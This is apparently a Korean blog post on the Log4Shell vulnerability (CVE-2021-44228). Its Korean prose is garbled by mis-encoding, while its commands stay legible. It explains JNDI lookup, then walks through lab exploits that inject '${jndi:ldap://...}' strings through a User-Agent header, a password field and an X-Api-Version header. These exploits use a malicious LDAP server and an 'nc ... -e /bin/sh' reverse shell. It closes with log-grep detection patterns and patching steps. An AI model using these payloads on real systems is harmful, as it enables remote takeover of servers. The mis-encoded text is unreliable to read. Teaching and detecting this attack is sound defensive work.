ν°μ€ν 리 λ·°
κ°μ
12μ 10μΌκ²½ μΉκ΅¬λ€κ³Ό μ μ§μμ μ‘°μ΄νκ² μ νμ νκ³ μμ λ λ€μν ν¬νΈμ¬μ΄νΈμμ 보μμ¬κ³ κ° λ°μνλ€λ κΈ°μ¬λ₯Ό μ νκ² λμμ΅λλ€.
CVE-2021-44228(JNDI Injection) λλ²λ₯Ό λΆμ¬λ°μ log4j μ·¨μ½μ μ Apacheμ "Log For JAVA"μ΄λ¦μ κ°μ§ λ§ κ·Έλλ‘ JAVA κΈ°λ° λ‘κΉ
νλ μμν¬λ‘ κ°λ°μλ€μ΄ λλ²κ·Έ μ©λλ‘ λ§μ΄ μ¬μ©νκ³ μλ λ§νΌ 곡격μ ν¬μλ μ μλ λ²μκ° λ무 λμ΅λλ€.
κ΅λ΄ μ μμ λΆνμ€ νλ μμν¬μ 3.1 ~ 3.10 λ²μ μμ log4j 2.0 ~ 2.12.1μ μ¬μ©νκ³ μλ λ§νΌ ν΄μΈ/κ΅λ΄λ₯Ό κ°λ¦¬μ§ μκ³ μ¬λ¬ κ°λ°μ, 보μλ΄λΉμ, μμ§λμ΄λΆλ€μ΄ λ§μ μκ³ λ₯Ό ν΄μ£Όμ
¨μ κ²μΌλ‘ νλ¨λ©λλ€.
μ μμ λΆ νλ μμν¬: https://www.egovframe.go.kr/home/sub.do?menuNo=13
μ΄ μ·¨μ½μ μ΄ ν¬κ² κ±°λ‘ λ μ΄μ λ CVE-2021-44228 κ³΅κ²©μ΄ μ±κ³΅ μ μ격μ§μ μλ λμ μμ€ν μκ² μμμ½λλ₯Ό λ€μ΄/μ€νν μ μλ RCE(Remote Code Execution)κ° μμ±λκΈ° λλ¬Έμ λλ€. 곡격 λ°©μμ΄ λ§€μ° κ°λ¨ν λ°μ λΉν΄ νκΈν¨κ³Όκ° κ΅μ₯ν 컀 CVSS λ§μ μΈ 10μ μ λΆμ¬λ°μμ΅λλ€. JAVA κΈ°λ°μΌλ‘ μ΄μλλ λνμ μΈ μλΉμ€λ€κ³Ό μ·¨μ½ν Log4jλ²μ μ μλμ κ°μ΅λλ€.
μλμ°(Powershell)
# gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
리λ μ€
# find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"
JNDI Lookup μ΄λ
log4jμ μ격μ½λ μ€νμ΄ μ΄λ»κ² λ°μνλμ§ μ΄ν΄νκΈ° μν΄μ log4j 2.0-beta9μ λμ λ "JNDILookup"μ΄ μ΄λ€ μν μ νλμ§ μμμΌ ν©λλ€.
JNDIλ "Java Naming and Directory Interface"μ μ½μμ
λλ€. LDAP κ°μ λλ ν 리 μλΉμ€μ μ μ₯λμ΄μλ JAVA κ°μ²΄λ₯Ό λ°κ²¬νκ³ μ°Έκ³ (Lookup) νκΈ° μν JAVA APIλ‘ μ½κ² μ΄μΌκΈ°ν΄ λΆμ°λ νκ²½ μμμ μλ‘ κ°μ νμν μμμ μ°κ²°μμΌ μ€ μ μλ λͺ©μ μ κ°μ§κ³ μμ΅λλ€.
JNDIμ ꡬ쑰λ₯Ό 보면 ν¬κ² APIμ SPI 2κ°λ‘ λλλλ° μ΅μ€νλ‘μμ νλλ° κ΄μ¬μ κ°μ ΈμΌ ν λΆλΆ μ SPI(Service Provider Interface)μ λλ€. μ΄λ APIμμ νμλ λΆλΆμΌλ‘ J2EE νλ«νΌ κΈ°λ°μ λ€μ΄λ°κ³Ό λλ ν 리 μλΉμ€λ₯Ό μ°κ²°μμΌ μ€λλ€. μ¦ "LDAP, DNS, NIS, RMI" λ±μ νλ‘ν μ½μ μ΄μ©ν΄μ JNDI μ½μ νΈμΆνλ κ²μ΄ κ°λ₯νκΈ° λλ¬Έμ 곡격μλ 미리 μ€λΉν΄λ LDAP μλ²μ Exploit νκΈ° μν μ½λλ₯Ό μ€λΉν΄λλ€λ©΄ μ΅μ’ μ μΌλ‘ μ격μ§μ λμ μλ²μ. class νμμ μ½λλ₯Ό μλ΅μμΌ μνλ λͺ λ Ήμ΄λ₯Ό μ€νμν€λλ‘ ν μ μμ΅λλ€.
JNDI μ½μ νΈμΆνλ€λ κ²μ΄ μ‘°κΈ μμνλ€λ©΄ κ°μ Naming μλΉμ€ μ€ νλμΈ "DNS"λ₯Ό μκ°ν΄λ³΄μλ©΄ λ©λλ€. Example.comμ μ λ ₯νμ¬ μ μ μ -> DNS μλ²λ₯Ό ν΅ν΄ λλ©μΈμ IPνλ ν μ μ -> λλ©μΈ μ΄λ¦μΌλ‘ μ κ·Όνλ κ²μ²λΌ 보μ΄μ§λ§ μ€μ§μ μΌλ‘ IPλ‘ μ κ·Όνλ κ²μ²λΌ λλ©μΈ <=> IP κ°μ μλ‘ λ°μΈλ©νμ¬ μ°κ²°ν΄μ£Όλ κ²μ΄λΌ 보면 λ©λλ€.
*λλ ν 리 λλ λ€μ΄λ° μλΉμ€: λΆμ° νκ²½μ μλ λ€μ€ μμ€ν
λ° μλΉμ€μ λν μμ μ 보 μ μ₯μμ΄λ©°, λ€μ΄λ° μλΉμ€λ₯Ό μ§μνλ μλ²μ μ΄λ¦(name)μ μ΄μ©νμ¬ ν΄λΉ μμμ λν ν΄λΌμ΄μΈνΈ λ° μλ² μ‘μΈμ€λ₯Ό μ 곡ν¨
곡격 νλ¦
μ¬μ©μκ° μ·¨μ½ν Log4j λΌμ΄λΈλ¬λ¦¬λ₯Ό μ¬μ© μ€μΈ κ²½μ° μλμ κ°μ 곡격 νλ¦μ ν΅ν΄ μΉ¨ν΄μ¬κ³ λ₯Ό κ²½νν μ μμ΅λλ€.
μ°Έκ³ λ‘ JNDI Injection νκΈ° μν μμΉκ° ν κ³³μ κ΅νλμ§ μκΈ° λλ¬Έμ 곡격μλ HTTP μμ² ν€λ(User-Agent λ±)μ μ½μ νκ±°λ νμ΄μ§ λ΄λΆμ Login ID, Password, E-mail κ°μ POSTνλλ₯Ό ν΅ν΄μλ 곡격ν μ μμ΅λλ€.
1. 곡격μλ λ³λμ μ μ± LDAP μλ²λ₯Ό μ€λΉν΄λκ³ ${jndi:ldap://attacker.com/a} ννμ ꡬ문μ log4jκ° κ΅¬μ±λμ΄μλ λμ μΉ μλΉμ€μ Injectionμ μλ
ex) 1. User-Agent μ 보λ₯Ό log.infoλ‘ μΆλ ₯
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
log.info("Request User Agent:{}", userAgent); }
2. Curlμ ν΅ν User-Agentμ JNDI Injection
# curl victim:8080 -H 'User-Agent: ${jndi:ldap://attacker.com/a}'
2. λμ μΉ μλ²λ -> 곡격μ μλ²(attacker.com/a)λ‘ LDAP 쿼리 μμ²(Query)
3. 곡격μ μλ²(Attacker LDAP)μ 미리 μ€λΉλ Exploitμ½λκ° ν¬ν¨λ μλ΅μ λμ μλΉμ€μ LDAP 쿼리 μλ΅(Response)
(Responseνν)
javaCodeBase:
http://attacker.com/a
javaClassName: RCE
objectClass: javaNamingReference
4. λμ μλ²μμ 곡격μ μλ²λ‘ HTTP GET μμ²
5. 곡격μ μλ²μ μλ RCE.classλ₯Ό λμ μλ²μ μλ΅νμ¬ μ½λ μ€ν
(Responseνν)
class RCE {
static {
Runtime.getRuntime().exec("Custom command");
}}
Exploit (User-Agent)
log4j μ·¨μ½μ ν μ€νΈλ₯Ό μν΄ λͺ κ°μ§ 곡격 벑ν°λ₯Ό μμ보λλ‘ νκ² μ΅λλ€.(JDK 8u181 μ€μΉλμ΄ μμ)
# git clone https://github.com/leonjza/log4jpwn.git
# cd logpjpwn
# mvn clean compile assembly:single (mvn μμ μ apt-get install mvn)
# java -jar target/log4jpwn-1.0-SNAPSHOT-jar-with-dependencies.jar
μ°μ μ·¨μ½ν μΉ μ ν리μΌμ΄μ κ°λν΄μ€λλ€. κ΅¬μΆ λ°©λ²μ μμ κΉνλΈ νμ΄μ§λ₯Ό μ°Έκ³ νμκΈ° λ°λλλ€.
localhost λλ μμ μ docker IPλ₯Ό νμΈνμ¬ μ κ·Όν΄λ³΄μλ©΄ User-Agentκ° κΈ°λ‘λλ νμ΄μ§κ° λνλ©λλ€.
νμ¬ κ°λ μ€μΈ μλ²μλ 3κ°μ§μ μ·¨μ½ν 맀κ°λ³μ(User-Agent, pwn, URI path κ²½λ‘)κ° μ‘΄μ¬ν©λλ€. μ΄ μ€μμ User-Agentμ JNDI Lookup λ¬Έμμ΄μ μ λ¬νμ¬ μ격μ½λλ₯Ό νΈλ¦¬κ±°νλλ‘ μ§νν΄λ³΄κ² μ΅λλ€.
μ·¨μ½ν μλ²λ μ€λΉλμμΌλ μ΄μ κ³΅κ²©μ© LDAP μλ²λ₯Ό μ€λΉν΄μΌ λ©λλ€. μλμ λ§ν¬λ₯Ό νκ³ κ°μ. jarνμΌμ λ€μ΄λ‘λνλλ‘ νκ² μ΅λλ€.
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc {Attack_IP} 8888 -e /bin/sh" -A {Attack_IP}
# nc -lvp 8888
-C μ΅μ μ ν΅ν΄ ν¬μμ μλ²μμ μ€νν λͺ λ Ήμ΄λ₯Ό μ λ ₯νκ³ -A μλ 곡격μμ iP μ£Όμλ₯Ό λ£μ΄μ£Όμλ©΄ λ©λλ€.
JNDI Linksμ λ΄κΈ΄ ldapμ£Όμλ₯Ό ν¬μμ μλ²μ μ λ¬λ κ²½μ° κ³΅κ²©μ μλ²μ ldap 쿼리λ₯Ό μμ²νκ² λμ΄ Exploit Codeκ° λ΄κΈ΄ μλ΅μ νμ νκ² λ©λλ€.
# curl -H 'User-Agent: ${jndi:ldap://192.168.0.129:1389/li62qf}' 172.17.0.1:8080
JNDI injectionμ νκΈ° μν΄ λμ μλ²μ User-Agentμ 곡격 쿼리λ₯Ό μ½μ ν΄μ€λλ€. μ΄λ -H μ΅μ μ μ¬μ©ν΄μ£Όμλ©΄ λ©λλ€.
Server Logλ₯Ό 보μλ©΄ ν¬μμ μλ²μμ 곡격μμ LDAP μ£ΌμμΈ 192.168.0.129:1389/li62qfλ‘ μμ² μΏΌλ¦¬λ₯Ό μ λ¬νκ² λκ³ μλ΅ κ°μΌλ‘ μ€λΉλ Exploitμ½λλ₯Ό 보λ΄μ΄ μ격μ½λ μ€νμ΄ κ°λ₯ν΄μ§λλ€.
Exploit (Password Form)
https://github.com/Cyb3rWard0g/log4jshell-lab/tree/main/victim-server
μ΄λ²μλ ν€λ λμμ μΈμ μ μ΄ μλ νλ©΄μ μ½κ² μ κ·Όν μ μλ λ‘κ·ΈμΈ νμ΄μ§λ₯Ό λμμΌλ‘ ν΄λ³΄κ² μ΅λλ€. μ°μ μμ μ μλ²μ ν°μΊ£μ μ€μΉ ν μ·¨μ½ν μΉ μμ€λ₯Ό μ»΄νμΌν΄μ£Όλ©΄ μμ κ°μ λ‘κ·ΈμΈ νμ΄μ§λ‘ μ κ·Όν μ μκ² λ©λλ€.
λΌμ΄λΈλ¬λ¦¬ μͺ½μ νμΈν΄λ³΄λ©΄ μ·¨μ½ν λ²μ μΈ Log4j 2.14.0 μ ν΅ν΄ μ¬μ©μμ μ λ ₯ κ°μ μ²λ¦¬νλκ²μΌλ‘ νμΈλ©λλ€.
μμ€μ½λλ₯Ό νμΈν΄λ³΄λ λ‘κ·ΈμΈ νμ΄μ§μ ν¨μ€μλ νλκ° Log4j νμμ νμ± μ²λ¦¬κ° λκ³ μκΈ° λλ¬Έμ ν¨μ€μλ μ λ ₯λμ JNDI Lookup λ¬Έμμ΄μ μ λ¬νμ¬ κ³΅κ²©μμ μ μ± LDAP μ£Όμλ₯Ό μ°Έμ‘°ν μ μλλ‘ ν΄μ£Όλ©΄ λ κ² κ°μ΅λλ€.
# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc {Attack_IP} 8888 -e /bin/sh" -A {Attack_IP}
# nc -lvp 8888
μμμ νλ λ°©μκ³Ό λ§μ°¬κ°μ§λ‘ LDAP μλ²λ₯Ό κ°λνμ¬ ν¬μμ μλ² -> 곡격μ μλ²λ‘ μ°κ²°μ νμ©νλ 리λ²μ€ μμ λ§Ίλλ‘ νκ² μ΅λλ€.
곡격μ½λκ° μ λλ‘ μ λ ₯λμλμ§ νμΈνκΈ° μν΄ type μμ±μ textλ‘ λ³κ²½ν΄μ£Όκ³ Sign inμ λλ¬μ€λλ€.
λ‘κ·Έλ₯Ό νμΈν΄λ³΄λ©΄ 곡격μκ° μ½μ ν JNDI λ¬Έμμ΄μ΄ μ λλ‘ μ λ¬λμμΌλ©° Lookupμ΄ λ κ²μ νμΈν μ μμ΅λλ€.
리λ²μ€ μμ΄ μ±κ³΅μ μΌλ‘ μ΄λ¦΄κ² λ©λλ€.
Exploit (X-Api-Version)
https://github.com/christophetd/log4shell-vulnerable-app
# docker build . -t vulnerable-app (Docker μμ μ μ€μΉ)
# docker run -p 8080:8080 --name vulnerable-app vulnerable-app
log4shellμ λ ΈμΆλ μ μλ 곡격 λ°±ν°λ κ·Έ μ΄λ κ³³μ΄ λ μλ μλ€κ³ μκΈ°νμ΅λλ€. μμ μμ€μ κ²½μ° μμ² ν€λμ ν¬ν¨λμ΄ μλ X-Api-Version μ΄ μ·¨μ½ν log4j λ²μ μμ νμ± λκ³ μμ΅λλ€.
μμ² κ°μ X-Api-Version ν€λλ₯Ό μΆκ°νμ¬ μ€λΉν΄λ JNDI Lookup λ¬Έμμ΄μ 보λ΄λ³΄λ©΄ Hello, world! λ₯Ό λ°ννμ¬ μ²λ¦¬νκ² λ©λλ€.
ν¬μμ μλ²μμ Lookup ν μ£Όμλ 곡격μμ LDAP μ£Όμλ‘ μ€λΉλ Exploit Codeλ‘ μΈν΄ 리λ²μ€ μμ μ°κ²°ν μ μλ nc λͺ λ Ήμ΄λ₯Ό μ격μμ μ€νμν€κ² λμ΄ μνΈ κ°μ μΈμ μ μ°κ²°νκ² λ©λλ€.
μ·¨μ½ μ 무 ν μ€νΈ
μμ μ΄ κ΄λ¦¬νλ μλ²κ° Log4shellμ μ·¨μ½ν λ²μ μ μ¬μ©νκ³ μμ κ²½μ° μ€μ μ μ©μ΄ κ°λ₯νμ§ ν μ€νΈλ₯Ό ν΄λ΄μΌ λ μλ μμ΅λλ€. κ·Έλ΄ λλ μλμ λ§ν¬λ₯Ό ν΅ν΄ μμμ½λκ° νΈλ¦¬κ±° λ μ μλμ§ μ¬λΆλ₯Ό κ°λ¨νκ² νμ ν΄μ£Όλ μ¬μ΄νΈλ₯Ό μ΄μ©ν΄λ³΄μλ©΄ λμμ΄ λ©λλ€.(BurpSuite Proμ Collaborator μ¬μ©νμ λ λ©λλ€.)
Know. Before it matters
Canarytokens is a free tool that helps you discover you’ve been breached by having attackers announce themselves. The tokens allow you to implant traps around your network and notifies you as soon as they are triggered.
canarytokens.org
λ§ν¬λ₯Ό μ μν΄λ³΄λ©΄ ν μ€νΈλ₯Ό νκΈ° μν μ’ λ₯(Select your token)μ μ΄λ©μΌ κ·Έλ¦¬κ³ μλ³νκΈ° μν κ°λ¨ν μ½λ©νΈ λ±μ μμ±ν μ μλ νμ΄μ§κ° μ‘΄μ¬ν©λλ€.
맨 νλ¨μ μ’ λ₯λ‘ λ΄λ €λ³΄λ©΄ Log4Shell νλͺ©μ΄ μ‘΄μ¬ν©λλ€. μ νν΄μ£Όμ ν μμ μ μ΄λ©μΌκ³Ό κ°λ¨ν μ½λ©νΈλ₯Ό μμ±ν΄μ€λλ€.
μ½λκ° μμ±λλ©΄ μμ κ°μ tokenμ΄ μμ±λμλ€λ λ¬Έκ΅¬κ° λνλ©λλ€. 볡μ¬λ₯Ό ν΄μ£Όμλ©΄ λ©λλ€.
μμμ ν μ€νΈνλ μ·¨μ½ν μΉ μλ²λ‘ λμ΄μ μμ±λ tokenμ μ½μ νμ¬ κΈ°λ€λ € μ£Όμλ©΄ λμ λλ€.
μ½ λͺ μ΄ μ λ κΈ°λ€λ €λ³΄μλ©΄ token μμ± μ μμ±νλ μ΄λ©μΌ μ£Όμλ‘ μ½λκ° νΈλ¦¬κ±° λ μ μλ μ 무λ₯Ό μλ΅νκ² λ©λλ€. λ§μ½ μ·¨μ½μ μ΄ μ‘΄μ¬νμ§ μμλ€λ©΄ μ΄λ©μΌμ΄ λμ°©νμ§ μμ΅λλ€.
곡격 μ§ν νμ νλ λ²
log4j μλΉμ€λ₯Ό μμ λΆν° μ¬μ©νμ ¨λ€λ©΄ κ·Έλ§νΌ μ€λ μκ° λμ μ·¨μ½μ μ λ ΈμΆλμ΄ μμμ κ°λ₯μ±μ΄ λμ΅λλ€. 1μ°¨μ μΌλ‘ λΉ λ₯΄κ² μ‘°μΉνμλ κ²λ μ€μνμ§λ§ λ‘κ·ΈλΆμμ ν΅ν΄ μ¬νμ‘°μΉλ₯Ό ν μ μλλ‘ ν΄μ£Όμλ κ²λ μ€μν©λλ€.
μμΆλμ΄ μμ§ μμ κ²½μ°
# sudo egrep -I -i -r ‘\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log
μμΆλμ΄ μλ κ²½μ°
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+'
μμΆλμ΄ μμ§ μμ κ²½μ°(λλ ν)
# sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;
μμΆλμ΄ μλ κ²½μ°(λλ ν)
# sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
λμ λ°©λ²
ννΈ λΈλ¦¬λ, μ μΌν¬μ²λΌ μ€λ μκ° κΈ°λ‘λ μ·¨μ½μ (κ°μΈμ μΌλ‘ JNDI Injectionλ§νΌμ μλμμ)λ€μ μ¦κ° μ΅μ λ²μ μΌλ‘ μ
κ·Έλ μ΄λνλ κ²μ΄ μ€μν©λλ€.
μ΄λ―Έ μ μ¬μ
κ³μ κ³μλ λΆλ€μ 곡문μ λ°μκΈ° λλ¬Έμ log4j 2.15 λ²μ μΌλ‘ μ
κ·Έλ μ΄λνκ±°λ μμ§ μ§ν μ€μ μμΌμκ² μ§λ§. CVE-2021-44228μ΄ λ°νλ μ§ν μλ‘μ΄ μ·¨μ½μ (CVE-2021-45046[DOS], CVE-2021-4104[1.2 RCE])μ΄ μ€μ€μ΄ λμ€κ³ μκΈ° λλ¬Έμ κ°κΈμ μ‘°μΉνμλλΉμΌ κΈ°μ€μ λ§λ μ μΌ μ΅μ λ²μ μΌλ‘ μ¬λ €μ£Όμλ©΄ λ©λλ€.
(2021-12-16 κΈ°μ€ log4j 2.16μμλ JNDIμ λν μ‘μΈμ€λ₯Ό λΉνμ±ννκ³ λ©μμ§ μ‘°ν κΈ°λ₯μ΄ μμ ν μ κ±°λμμ§λ§, κ°μ©μ±μ μΉ¨ν΄ν μ μλ DDOS μ·¨μ½μ μ΄ μΆκ° λ°κ²¬λμ΄ 2.17 λ²μ μΌλ‘ μ
κ·Έλ μ΄λ κΆκ³ )
λ§μ½ μ
κ·Έλ μ΄λκ° λΆκ°λ₯νλ€λ©΄ μλμ κ°μ λ°©λ²μ ν΅ν΄ μ§νν©λλ€.
- Log4j 1.2(CVE-2021-4104): λ³λμ JNDIλ₯Ό μ¬μ©ν λλ§ μ·¨μ½νλ©° JMSAppenderκ° νμ±νλμ΄ μμ κ²½μ° λΉνμ±ν
(1) zip -d log4j-1.2.16.jar org/apache/log4j/net/JMSAppender.class
(2) zip -d log4j-1.2.16.jar org/apache/log4j/net/SocketServer.class
- Log4j 2.x:(Java 8 μ΄μμ 2.17 / Java 7 μ΄μμ 2.12.2λ‘ μ
κ·Έλ μ΄λ)
(1) JndiLookup μ λΉνμ±ν(NoLookupsλ₯Ό Trueλ‘ μ€μ )
echo “export LOG4J_FORMAT_MSG_NO_LOOKUPS=true” >> /etc/profile.d/blockzero.sh
/etc/environment μ LOG4J_FORMAT_MSG_NO_LOOKUPS=true μΆκ°νμ¬ μμ€ν
μ 체μ μ μ©
log4j-core-*.jar νμΌμμ JNDI Lookup ν΄λμ€λ₯Ό μ κ±°
(1) zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
<Ref>
https://blog.qualys.com/vulnerabilities-threat-research/2021/12/15/is-your-web-application-exploitable-by-log4shell-cve-2021-44228-vulnerability
https://opentutorials.org/module/3569/21223
https://extsdd.tistory.com/326
https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08
https://acet.pe.kr/214
'WEB' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
CSTI(Client Side Template Injection) μ·¨μ½μ (0) | 2022.03.08 |
---|---|
κΈ°μ λλ©μΈμ DMARC λ μ½λ λΆμ (0) | 2022.02.18 |
Atlassian RCE μ·¨μ½μ (0) | 2021.09.12 |
Atlassian REST API μ·¨μ½μ (0) | 2021.09.11 |
Atlassian XSS μ·¨μ½μ (0) | 2021.09.10 |